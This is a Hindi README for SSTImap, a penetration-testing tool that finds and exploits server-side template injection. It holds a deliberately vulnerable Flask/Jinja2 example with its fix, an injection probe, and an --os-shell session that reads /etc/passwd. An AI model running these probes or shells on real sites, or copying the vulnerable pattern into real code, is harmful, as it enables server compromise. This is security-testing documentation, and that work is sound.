
इंटरैक्टिव इंटरफ़ेस के साथ स्वचालित SSTI पहचान उपकरण
यह प्रोजेक्ट Tplmap पर आधारित है।
SSTImap एक पैठ परीक्षण सॉफ्टवेयर है जो वेबसाइटों में कोड इंजेक्शन और सर्वर-साइड टेम्पलेट इंजेक्शन कमजोरियों की जांच कर सकता है और उनका शोषण कर सकता है, जिससे ऑपरेटिंग सिस्टम तक ही पहुंच मिल जाती है।
यह टूल SSTI का पता लगाने और शोषण के लिए एक इंटरैक्टिव पैठ परीक्षण टूल के रूप में उपयोग किए जाने के लिए विकसित किया गया था, जो अधिक उन्नत शोषण की अनुमति देता है। SSTImap के लिए अधिक पेलोड पाए जा सकते हैं।
पेलोड और तकनीकें निम्नलिखित से आई हैं:
यह टूल कुछ कोड संदर्भ एस्केप और ब्लाइंड इंजेक्शन परिदृश्यों का शोषण करने में सक्षम है। यह Java, JavaScript, PHP, Python, Ruby और सामान्य अनसैंडबॉक्स्ड टेम्पलेट इंजनों में eval()-जैसे कोड इंजेक्शन का भी समर्थन करता है।
हालांकि यह सॉफ्टवेयर Tplmap के कोड पर आधारित है, पिछड़ी संगतता प्रदान नहीं की गई है।
-i) जो आसान शोषण और पता लगाने की अनुमति देता है--generic का उपयोग करेंEval_generic मॉड्यूल का उपयोग करके सामान्य मूल्यांकन टेम्पलेट इंजेक्शन का पता लगाना-x) या एकल कमांड (-X) निष्पादन-h देखेंयह Python में Flask फ्रेमवर्क और Jinja2 टेम्पलेट इंजन का उपयोग करके लिखी गई एक सरल वेबसाइट का उदाहरण है। यह उपयोगकर्ता-आपूर्ति किए गए चर name को असुरक्षित तरीके से एकीकृत करता है, क्योंकि इसे रेंडरिंग से पहले टेम्पलेट स्ट्रिंग में जोड़ा जाता है।
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
# SSTI VULNERABILITY:
template = f"Hello, {name}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
टेम्पलेट्स का उपयोग करने का यह तरीका न केवल XSS कमजोरी पैदा करता है, बल्कि यह हमलावर को टेम्पलेट कोड इंजेक्ट करने की भी अनुमति देता है, जो सर्वर पर निष्पादित होगा, जिससे SSTI होता है।
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
उपयोगकर्ता-आपूर्ति किए गए इनपुट को रेंडरिंग संदर्भ के माध्यम से सुरक्षित तरीके से पेश किया जाना चाहिए:
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
template = "Hello, {{name}}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, name=name, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
पूर्वनिर्धारित मोड में SSTImap Tplmap के समान है। यह कई अलग-अलग टेम्पलेट्स में SSTI कमजोरियों का पता लगाने और शोषण करने में सक्षम है।
शोषण के बाद, SSTImap कोड मूल्यांकन, OS कमांड निष्पादन और फ़ाइल सिस्टम हेरफेर तक पहुंच प्रदान कर सकता है।
URL की जांच करने के लिए, आप -u तर्क का उपयोग कर सकते हैं:
$ ./sstimap.py -u https://example.com/page?name=John
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun SSTImap providing one of the following options:
--os-shell Prompt for an interactive operating system shell
--os-cmd Execute an operating system command.
--eval-shell Prompt for an interactive shell on the template engine base language.
--eval-cmd Evaluate code in the template engine base language.
--tpl-shell Prompt for an interactive shell on the template engine.
--tpl-cmd Inject code in the template engine.
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
लक्ष्य पर स्यूडो-टर्मिनल लॉन्च करने के लिए --os-shell विकल्प का उपयोग करें।
$ ./sstimap.py -u https://example.com/page?name=John --os-shell
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
विकल्पों की पूरी सूची प्राप्त करने के लिए, --help तर्क का उपयोग करें।
इंटरैक्टिव मोड में, SSTImap के साथ बातचीत करने के लिए कमांड का उपयोग किया जाता है। इंटरैक्टिव मोड में प्रवेश करने के लिए, आप -i तर्क का उपयोग कर सकते हैं। शोषण पेलोड से संबंधित तर्कों को छोड़कर, अन्य सभी तर्क सेटिंग्स के लिए प्रारंभिक मान के रूप में उपयोग किए जाएंगे।
कुछ कमांड परीक्षण रन के बीच सेटिंग्स बदलने के लिए उपयोग किए जाते हैं। परीक्षण चलाने के लिए, लक्ष्य URL को प्रारंभिक -u तर्क या url कमांड के माध्यम से आपूर्ति की जानी चाहिए। उसके बाद, आप SSTI के लिए URL की जांच करने के लिए run कमांड का उपयोग कर सकते हैं।
यदि SSTI पाया जाता है, तो शोषण शुरू करने के लिए कमांड का उपयोग किया जा सकता है। आप पूर्वनिर्धारित मोड के समान शोषण क्षमताएं प्राप्त कर सकते हैं, लेकिन आप प्रोग्राम को रोके बिना उन्हें रद्द करने के लिए Ctrl+C का उपयोग कर सकते हैं।
वैसे, परीक्षण परिणाम तब तक मान्य रहते हैं जब तक लक्ष्य URL नहीं बदला जाता है, इसलिए आप हर बार पता लगाने का परीक्षण चलाए बिना आसानी से शोषण विधियों के बीच स्विच कर सकते हैं।
इंटरैक्टिव कमांड की पूरी सूची प्राप्त करने के लिए, इंटरैक्टिव मोड में help कमांड का उपयोग करें।
SSTImap कई टेम्पलेट इंजनों और eval()-जैसे इंजेक्शन का समर्थन करता है।
PR में नए पेलोड का स्वागत है। विकास को गति देने के लिए टिप्स देखें।
| Engine | RCE | Tech | Language | Type |
|---|---|---|---|---|
| Freemarker | ✓ | REBT | Java | Default |
| Java generic EL injections | ✓ | REBT | Java | Default |
| OGNL (Object-Graph Navigation Language code eval) | ✓ | REBT | Java | Default |
| Velocity | ✓ | REBT | Java | Default |
| Nunjucks | ✓ | REBT | JavaScript | Default |
| Velocity.js | ✓ | REBT | JavaScript | Default |
| JavaScript (code eval) | ✓ | REBT | JavaScript | Default |
| JavaScript-based generic templates | ✓ | REBT | JavaScript | Default |
| Twig (>=1.41; >=2.10; >=3.0) | ✓ | REBT | PHP | Default |
| PHP (code eval) | ✓ | REBT | PHP | Default |
| PHP-based generic templates | ✓ | REBT | PHP | Default |
| Jinja2 | ✓ | REBT | Python | Default |
| Python (code eval) | ✓ | REBT | Python | Default |
| Python-based generic templates | ✓ | REBT | Python | Default |
| ERB | ✓ | REBT | Ruby | Default |
| Mustache (<=1.1.2; detection only) | × | reb_ | Ruby | Default |
| Slim | ✓ | REBT | Ruby | Default |
| Ruby (code eval) | ✓ | REBT | Ruby | Default |
| Generic evaluating templates | × | Reb_ | * | Default |
| SpEL (Spring EL code eval) | ✓ | REBT | Java | Generic |
| doT | ✓ | REBT | JavaScript | Generic |
तकनीकें: (R)endered, (E)rror-based, (B)oolean error-based blind और (T)ime-based blind; लोअरकेस अक्षर आंशिक रूप से समर्थित तकनीक को चिह्नित करता है
अधिक प्लगइन और पेलोड SSTImap Extra Plugins रिपॉजिटरी में पाए जा सकते हैं।
वर्तमान में, Burp Suite केवल Jython के साथ python2 निष्पादित करने के तरीके के रूप में काम करता है। Python3 कार्यक्षमता प्रदान नहीं की गई है।
यदि आप इस सूची से कुछ बड़ा योगदान देने की योजना बना रहे हैं, तो मुझे सूचित करें ताकि मैं या अन्य योगदानकर्ता आपके साथ एक ही चीज़ पर काम न करें।
| EJS | ✓ | REBT | JavaScript | Generic |
| Marko | ✓ | REBT | JavaScript | Generic |
| Pug | ✓ | REBT | JavaScript | Generic |
| Smarty | ✓ | REBT | PHP | Generic |
| Cheetah | ✓ | REBT | Python | Generic |
| Mako | ✓ | REBT | Python | Generic |
| Tornado | ✓ | REBT | Python | Generic |
| Dust (<= [email protected]) | ✓ | REBT | JavaScript | Legacy |
| Twig (<=1.19.0) | ✓ | REBT | PHP | Legacy |
| Pybars3 / Pybars4 | ✓ | REBT | Python | Legacy |
| Templite | ✓ | REBT | Python | Legacy |
| SSI (Server-Side Includes injection) | ✓ | R__T | SSI | Legacy |
| Obscure evaluating syntaxes | × | Reb_ | * | Legacy |
| CVE-2025-1302 | ✓ | REBT | JavaScript | Extra |
| CVE-2025-13204 | ✓ | REBT | JavaScript | Extra |
| CVE-2022-23614 | ✓ | REBT | PHP | Extra |
| CVE-2024-6386 | ✓ | REBT | PHP | Extra |
| CVE-2026-46640 | ✓ | REBT | PHP | Extra |